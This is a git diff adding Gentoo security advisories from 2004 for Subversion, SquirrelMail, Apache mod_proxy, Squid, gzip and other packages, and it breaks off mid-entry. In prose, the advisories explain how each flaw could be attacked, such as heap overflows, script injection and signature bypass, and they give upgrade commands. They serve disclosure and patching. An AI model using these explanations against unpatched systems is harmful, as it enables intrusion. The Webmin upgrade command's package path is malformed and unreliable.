+    exploitable to execute arbitrary code on the server running svnserve.
+  </synopsis>
+  <product type="ebuild">dev-util/subversion</product>
+  <announced>June 10, 2004</announced>
+  <revised>June 10, 2004: 01</revised>
+  <access>remote</access>
+  <affected>
+    <package name="dev-util/subversion" auto="yes" arch="*">
+      <unaffected range="ge">1.0.4-r1</unaffected>
+      <vulnerable range="le">1.0.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Subversion is a revision control system that aims to be a &quot;compelling
+    replacement for CVS&quot;. It enjoys wide use in the open source community.
+    svnserve allows access to Subversion repositories using URIs with the
+    svn://, svn+ssh://, and other tunelled svn+*:// protocols.
+    </p>
+  </background>
+  <description>
+    <p>
+    The svn protocol parser trusts the indicated length of a URI string sent by
+    a client. This allows a client to specify a very long string, thereby
+    causing svnserve to allocate enough memory to hold that string. This may
+    cause a Denial of Service. Alternately, given a string that causes an
+    integer overflow in the variable holding the string length, the server
+    might allocate less memory than required, allowing a heap overflow. This
+    heap overflow may then be exploitable, allowing remote code execution. The
+    attacker does not need read or write access to the Subversion repository
+    being served, since even un-authenticated users can send svn protocol
+    requests.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    Ranges from remote Denial of Service to potential arbitrary code execution
+    with privileges of the svnserve process.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Servers without svnserve running are not vulnerable. Disable svnserve and
+    use DAV for access instead.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users should upgrade to the latest version of Subversion.
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=dev-util/subversion-1.0.4-r1"
+    # emerge ">=dev-util/subversion-1.0.4-r1"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0413">CAN-2004-0413</uri>
+  </references>
+  <metadata tag="submitter">
+    dmargoli
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200406-08.xml b/xml/htdocs/security/en/glsa/glsa-200406-08.xml
new file mode 100644
index 00000000..a736f7d3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200406-08.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200406-08">
+  <title>Squirrelmail: Another XSS vulnerability</title>
+  <synopsis>
+    Squirrelmail fails to properly sanitize user input, which could lead to a
+    compromise of webmail accounts.
+  </synopsis>
+  <product type="ebuild">Squirrelmail</product>
+  <announced>June 15, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>52434</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-client/squirrelmail" auto="yes" arch="*">
+      <unaffected range="ge">1.4.3</unaffected>
+      <vulnerable range="le">1.4.3_rc1-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    SquirrelMail is a webmail package written in PHP. It supports IMAP and
+    SMTP, and can optionally be installed with SQL support.
+    </p>
+  </background>
+  <description>
+    <p>
+    A new cross-site scripting (XSS) vulnerability in
+    Squirrelmail-1.4.3_rc1 has been discovered. In functions/mime.php
+    Squirrelmail fails to properly sanitize user input.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to read a specially crafted e-mail, an attacker can
+    execute arbitrary scripts running in the context of the victim's
+    browser. This could lead to a compromise of the user's webmail account,
+    cookie theft, etc.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All SquirrelMail users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=mail-client/squirrelmail-1.4.3&quot;
+    # emerge &quot;&gt;=mail-client/squirrelmail-1.4.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.rs-labs.com/adv/RS-Labs-Advisory-2004-1.txt">RS-Labs Advisory</uri>
+    <uri link="http://www.cert.org/advisories/CA-2000-02.html">CERT description of XSS</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0520">CVE-2004-0520</uri>
+  </references>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200406-09.xml b/xml/htdocs/security/en/glsa/glsa-200406-09.xml
new file mode 100644
index 00000000..30858750
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200406-09.xml
@@ -0,0 +1,63 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200406-09">
+  <title>Horde-Chora: Remote code execution</title>
+  <synopsis>
+    A vulnerability in Chora allows remote code execution and file upload.
+  </synopsis>
+  <product type="ebuild">www-apps/horde-chora</product>
+  <announced>June 15, 2004</announced>
+  <revised>December 30, 2007: 02</revised>
+  <bug>53800</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/horde-chora" auto="yes" arch="*">
+      <unaffected range="ge">1.2.2</unaffected>
+      <vulnerable range="lt">1.2.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Chora is a PHP-based SVN/CVS repository viewer by the HORDE project.
+    </p>
+  </background>
+  <description>
+    <p>
+    A vulnerability in the diff viewer of Chora allows an attacker to inject
+    shellcode. An attacker can exploit PHP's file upload functionality to
+    upload a malicious binary to a vulnerable server, chmod it as executable,
+    and run the file.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could remotely execute arbitrary binaries with the permissions
+    of the PHP script, conceivably allowing further exploitation of local
+    vulnerabilities and remote root access.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users are advised to upgrade to the latest version of Chora:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=www-apps/horde-chora-1.2.2"
+    # emerge ">=www-apps/horde-chora-1.2.2"</code>
+  </resolution>
+  <references>
+    <uri link="http://security.e-matters.de/advisories/102004.html">e-matters Advisory</uri>
+  </references>
+  <metadata tag="submitter">
+    dmargoli
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200406-10.xml b/xml/htdocs/security/en/glsa/glsa-200406-10.xml
new file mode 100644
index 00000000..be4326f3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200406-10.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200406-10">
+  <title>Gallery: Privilege escalation vulnerability</title>
+  <synopsis>
+    There is a vulnerability in the Gallery photo album software which may
+    allow an attacker to gain administrator privileges within Gallery.
+  </synopsis>
+  <product type="ebuild">gallery</product>
+  <announced>June 15, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>52798</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/gallery" auto="yes" arch="*">
+      <unaffected range="ge">1.4.3_p2</unaffected>
+      <vulnerable range="le">1.4.3_p1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Gallery is a web application written in PHP which is used to organize
+    and publish photo albums. It allows multiple users to build and
+    maintain their own albums. It also supports the mirroring of images on
+    other servers.
+    </p>
+  </background>
+  <description>
+    <p>
+    There is a vulnerability in the Gallery photo album software which may
+    allow an attacker to gain administrator privileges within Gallery. A
+    Gallery administrator has full access to all albums and photos on the
+    server, thus attackers may add or delete photos at will.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Attackers may gain full access to all Gallery albums. There is no risk
+    to the webserver itself, or the server on which it runs.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users should upgrade to the latest available version of Gallery.
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=www-apps/gallery-1.4.3_p2&quot;
+    # emerge &quot;&gt;=www-apps/gallery-1.4.3_p2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://gallery.menalto.com/modules.php?op=modload&amp;name=News&amp;file=article&amp;sid=123&amp;mode=thread&amp;order=0&amp;thold=0">Gallery Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0522">CVE-2004-0522</uri>
+  </references>
+  <metadata tag="submitter">
+    condordes
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200406-11.xml b/xml/htdocs/security/en/glsa/glsa-200406-11.xml
new file mode 100644
index 00000000..7ebd0fbf
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200406-11.xml
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200406-11">
+  <title>Horde-IMP: Input validation vulnerability</title>
+  <synopsis>
+    An input validation vulnerability has been discovered in Horde-IMP.
+  </synopsis>
+  <product type="ebuild">horde-imp</product>
+  <announced>June 16, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>53862</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/horde-imp" auto="yes" arch="*">
+      <unaffected range="ge">3.2.4</unaffected>
+      <vulnerable range="le">3.2.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Horde-IMP is the Internet Messaging Program. It is written in PHP and
+    provides webmail access to IMAP and POP3 accounts.
+    </p>
+  </background>
+  <description>
+    <p>
+    Horde-IMP fails to properly sanitize email messages that contain
+    malicious HTML or script code.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to read a specially crafted e-mail, an attacker can
+    execute arbitrary scripts running in the context of the victim's
+    browser. This could lead to a compromise of the user's webmail account,
+    cookie theft, etc.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Horde-IMP users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=www-apps/horde-imp-3.2.4&quot;
+    # emerge &quot;&gt;=www-apps/horde-imp-3.2.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.securityfocus.com/bid/10501">Bugtraq Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0584">CVE-2004-0584</uri>
+  </references>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200406-12.xml b/xml/htdocs/security/en/glsa/glsa-200406-12.xml
new file mode 100644
index 00000000..e438dda3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200406-12.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200406-12">
+  <title>Webmin: Multiple vulnerabilities</title>
+  <synopsis>
+    Webmin contains two security vulnerabilities which could lead to a Denial
+    of Service attack and information disclosure.
+  </synopsis>
+  <product type="ebuild">webmin</product>
+  <announced>June 16, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>53375</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-admin/webmin" auto="yes" arch="*">
+      <unaffected range="ge">1.150</unaffected>
+      <vulnerable range="le">1.140-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Webmin is a web-based administration tool for Unix. It supports a wide
+    range of applications including Apache, DNS, file sharing and others.
+    </p>
+  </background>
+  <description>
+    <p>
+    Webmin contains two security vulnerabilities. One allows any user to
+    view the configuration of any module and the other could allow an
+    attacker to lock out a valid user by sending an invalid username and
+    password.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An authenticated user could use these vulnerabilities to view the
+    configuration of any module thus potentially obtaining important
+    knowledge about configuration settings. Furthermore an attacker could
+    lock out legitimate users by sending invalid login information.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Webmin users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=app-admin/app-admin/webmin-1.150&quot;
+    # emerge &quot;&gt;=app-admin/app-admin/webmin-1.150&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.securityfocus.com/bid/10474">Bugtraq Announcement</uri>
+    <uri link="http://www.webmin.com/changes-1.150.html">Webmin Changelog</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0582">CVE-2004-0582</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0583">CVE-2004-0583</uri>
+  </references>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200406-13.xml b/xml/htdocs/security/en/glsa/glsa-200406-13.xml
new file mode 100644
index 00000000..97e9a7df
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200406-13.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200406-13">
+  <title>Squid: NTLM authentication helper buffer overflow</title>
+  <synopsis>
+    Squid contains a bug where it fails to properly check bounds of the 'pass'
+    variable.
+  </synopsis>
+  <product type="ebuild">squid</product>
+  <announced>June 17, 2004</announced>
+  <revised>September 02, 2004: 02</revised>
+  <bug>53367</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-proxy/squid" auto="yes" arch="*">
+      <unaffected range="ge">2.5.5-r2</unaffected>
+      <vulnerable range="le">2.5.5-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Squid contains a bug in the function ntlm_check_auth(). It fails to do
+    proper bounds checking on the values copyied to the 'pass' variable.
+    </p>
+  </background>
+  <description>
+    <p>
+    Squid is a full-featured Web Proxy Cache designed to run on Unix systems.
+    It supports proxying and caching of HTTP, FTP, and other URLs, as well as
+    SSL support, cache hierarchies, transparent caching, access control lists
+    and many other features.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    If Squid is configured to use NTLM authentication, an attacker could
+    exploit this vulnerability by sending a very long password. This could lead
+    to arbitrary code execution with the permissions of the user running Squid.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Squid users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=net-proxy/squid-2.5.5-r2"
+    # emerge ">=net-proxy/squid-2.5.5-r2"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0541">CAN-2004-0541</uri>
+  </references>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200406-14.xml b/xml/htdocs/security/en/glsa/glsa-200406-14.xml
new file mode 100644
index 00000000..8e00a488
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200406-14.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200406-14">
+  <title>aspell: Buffer overflow in word-list-compress</title>
+  <synopsis>
+    A bug in the aspell utility word-list-compress can allow an attacker to
+    execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">aspell</product>
+  <announced>June 17, 2004</announced>
+  <revised>May 22, 2006: 03</revised>
+  <bug>53389</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-text/aspell" auto="yes" arch="*">
+      <unaffected range="ge">0.50.5-r4</unaffected>
+      <vulnerable range="le">0.50.5-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    aspell is a popular spell-checker. Dictionaries are available for many
+    languages.
+    </p>
+  </background>
+  <description>
+    <p>
+    aspell includes a utility for handling wordlists called
+    word-list-compress. This utility fails to do proper bounds checking
+    when processing words longer than 256 bytes.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    If an attacker could entice a user to handle a wordlist containing very
+    long word lengths it could result in the execution of arbitrary code
+    with the permissions of the user running the program.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users should upgrade to the latest available version of aspell.
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=app-text/aspell-0.50.5-r4&quot;
+    # emerge &quot;&gt;=app-text/aspell-0.50.5-r4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://nettwerked.mg2.org/advisories/wlc">Nettwerked Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0548">CVE-2004-0548</uri>
+  </references>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200406-15.xml b/xml/htdocs/security/en/glsa/glsa-200406-15.xml
new file mode 100644
index 00000000..28fc8125
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200406-15.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200406-15">
+  <title>Usermin: Multiple vulnerabilities</title>
+  <synopsis>
+    Usermin contains two security vulnerabilities which could lead to a Denial
+    of Service attack and information disclosure.
+  </synopsis>
+  <product type="ebuild">Usermin</product>
+  <announced>June 18, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>54030</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-admin/usermin" auto="yes" arch="*">
+      <unaffected range="ge">1.080</unaffected>
+      <vulnerable range="le">1.070-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Usermin is a web-based administration tool for Unix. It supports a wide
+    range of user applications including configuring mail forwarding,
+    setting up SSH or reading mail.
+    </p>
+  </background>
+  <description>
+    <p>
+    Usermin contains two security vulnerabilities. One fails to properly
+    sanitize email messages that contain malicious HTML or script code and
+    the other could allow an attacker to lock out a valid user by sending
+    an invalid username and password.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By sending a specially crafted e-mail, an attacker can execute
+    arbitrary scripts running in the context of the victim's browser. This
+    can be lead to cookie theft and potentially to compromise of user
+    accounts. Furthermore, an attacker could lock out legitimate users by
+    sending invalid login information.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Usermin users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=app-admin/usermin-1.080&quot;
+    # emerge &quot;&gt;=app-admin/usermin-1.080&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.securityfocus.com/bid/10521">Bugtraq Announcement</uri>
+    <uri link="http://www.lac.co.jp/security/csl/intelligence/SNSadvisory_e/75_e.html">SNS Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0583">CVE-2004-0583</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0588">CVE-2004-0588</uri>
+  </references>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200406-16.xml b/xml/htdocs/security/en/glsa/glsa-200406-16.xml
new file mode 100644
index 00000000..06454de4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200406-16.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200406-16">
+  <title>Apache 1.3: Buffer overflow in mod_proxy</title>
+  <synopsis>
+    A bug in mod_proxy may allow a remote attacker to execute arbitrary code
+    when Apache is configured a certain way.
+  </synopsis>
+  <product type="ebuild">Apache</product>
+  <announced>June 21, 2004</announced>
+  <revised>December 30, 2007: 02</revised>
+  <bug>53544</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-servers/apache" auto="yes" arch="*">
+      <unaffected range="ge">1.3.31-r2</unaffected>
+      <vulnerable range="le">1.3.31-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Apache HTTP Server Project is an effort to develop and maintain an
+    open-source HTTP server for modern operating systems. The goal of this
+    project is to provide a secure, efficient and extensible server that
+    provides services in tune with the current HTTP standards.
+    </p>
+  </background>
+  <description>
+    <p>
+    A bug in the proxy_util.c file may lead to a remote buffer overflow. To
+    trigger the vulnerability an attacker would have to get mod_proxy to
+    connect to a malicous server which returns an invalid (negative)
+    Content-Length.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could cause a Denial of Service as the Apache child handling
+    the request, which will die and under some circumstances execute arbitrary
+    code as the user running Apache, usually &quot;apache&quot;.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version:
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Apache 1.x users should upgrade to the latest version of Apache:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=www-servers/apache-1.3.31-r2"
+    # emerge ">=www-servers/apache-1.3.31-r2"</code>
+  </resolution>
+  <references>
+    <uri link="http://www.guninski.com/modproxy1.html">Georgi Guninski security advisory #69, 2004</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0492">CAN-2004-0492</uri>
+  </references>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200406-17.xml b/xml/htdocs/security/en/glsa/glsa-200406-17.xml
new file mode 100644
index 00000000..e812634e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200406-17.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200406-17">
+  <title>IPsec-Tools: authentication bug in racoon</title>
+  <synopsis>
+    racoon provided as part of IPsec-Tools fails do proper authentication.
+  </synopsis>
+  <product type="ebuild">IPsec-Tools</product>
+  <announced>June 22, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>53915</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-firewall/ipsec-tools" auto="yes" arch="*">
+      <unaffected range="ge">0.3.3</unaffected>
+      <vulnerable range="lt">0.3.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    IPsec-Tools is a port of KAME's implementation of the IPsec utilities.
+    It contains a collection of network monitoring tools, including racoon,
+    ping, and ping6.
+    </p>
+  </background>
+  <description>
+    <p>
+    The KAME IKE daemon racoon is used to authenticate peers during Phase 1
+    when using either preshared keys, GSS-API, or RSA signatures. When
+    using RSA signatures racoon validates the X.509 certificate but not the
+    RSA signature.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By sending a valid and trusted X.509 certificate and any private key an
+    attacker could exploit this vulnerability to perform man-in-the-middle
+    attacks and initiate unauthorized connections.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All IPsec-Tools users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=net-firewall/ipsec-tools-0.3.3&quot;
+    # emerge &quot;&gt;=net-firewall/ipsec-tools-0.3.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://ipsec-tools.sourceforge.net/x509sig.html">IPsec-Tools Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0155">CVE-2004-0155</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0607">CVE-2004-0607</uri>
+  </references>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200406-18.xml b/xml/htdocs/security/en/glsa/glsa-200406-18.xml
new file mode 100644
index 00000000..13e5188d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200406-18.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200406-18">
+  <title>gzip: Insecure creation of temporary files</title>
+  <synopsis>
+    gzip contain a bug potentially allowing an attacker to execute arbitrary
+    commands.
+  </synopsis>
+  <product type="ebuild">gzip</product>
+  <announced>June 24, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>54890</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-arch/gzip" auto="yes" arch="*">
+      <unaffected range="ge">1.3.3-r4</unaffected>
+      <vulnerable range="le">1.3.3-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    gzip (GNU zip) is popular compression program. The included gzexe
+    utility allows you to compress executables in place and have them
+    automatically uncompress and execute when you run them.
+    </p>
+  </background>
+  <description>
+    <p>
+    The script gzexe included with gzip contains a bug in the code that
+    handles tempfile creation. If the creation of a temp file fails when
+    using gzexe fails instead of bailing out it executes the command given
+    as argument.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    This could lead to priviege escalation by running commands under the
+    rights of the user running the self extracting file.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All gzip users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=app-arch/gzip-1.3.3-r4&quot;
+    # emerge &quot;&gt;=app-arch/gzip-1.3.3-r4&quot;</code>
+    <p>
+    Additionally, once the upgrade is complete, all self extracting files
+    created with earlier versions gzexe should be recreated, since the
+    vulnerability is actually embedded in those executables.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0603">CVE-2004-0603</uri>
+  </references>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200406-19.xml b/xml/htdocs/security/en/glsa/glsa-200406-19.xml
new file mode 100644
index 00000000..cb12a021
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200406-19.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200406-19">
+  <title>giFT-FastTrack: remote denial of service attack</title>
+  <synopsis>
+    There is a vulnerability where a carefully crafted signal sent to the
+    giFT-FastTrack plugin will cause the giFT daemon to crash.
+  </synopsis>
+  <product type="ebuild">giFT-FastTrack</product>
+  <announced>June 24, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>54452</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-p2p/gift-fasttrack" auto="yes" arch="*">
+      <unaffected range="ge">0.8.7</unaffected>
+      <vulnerable range="le">0.8.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
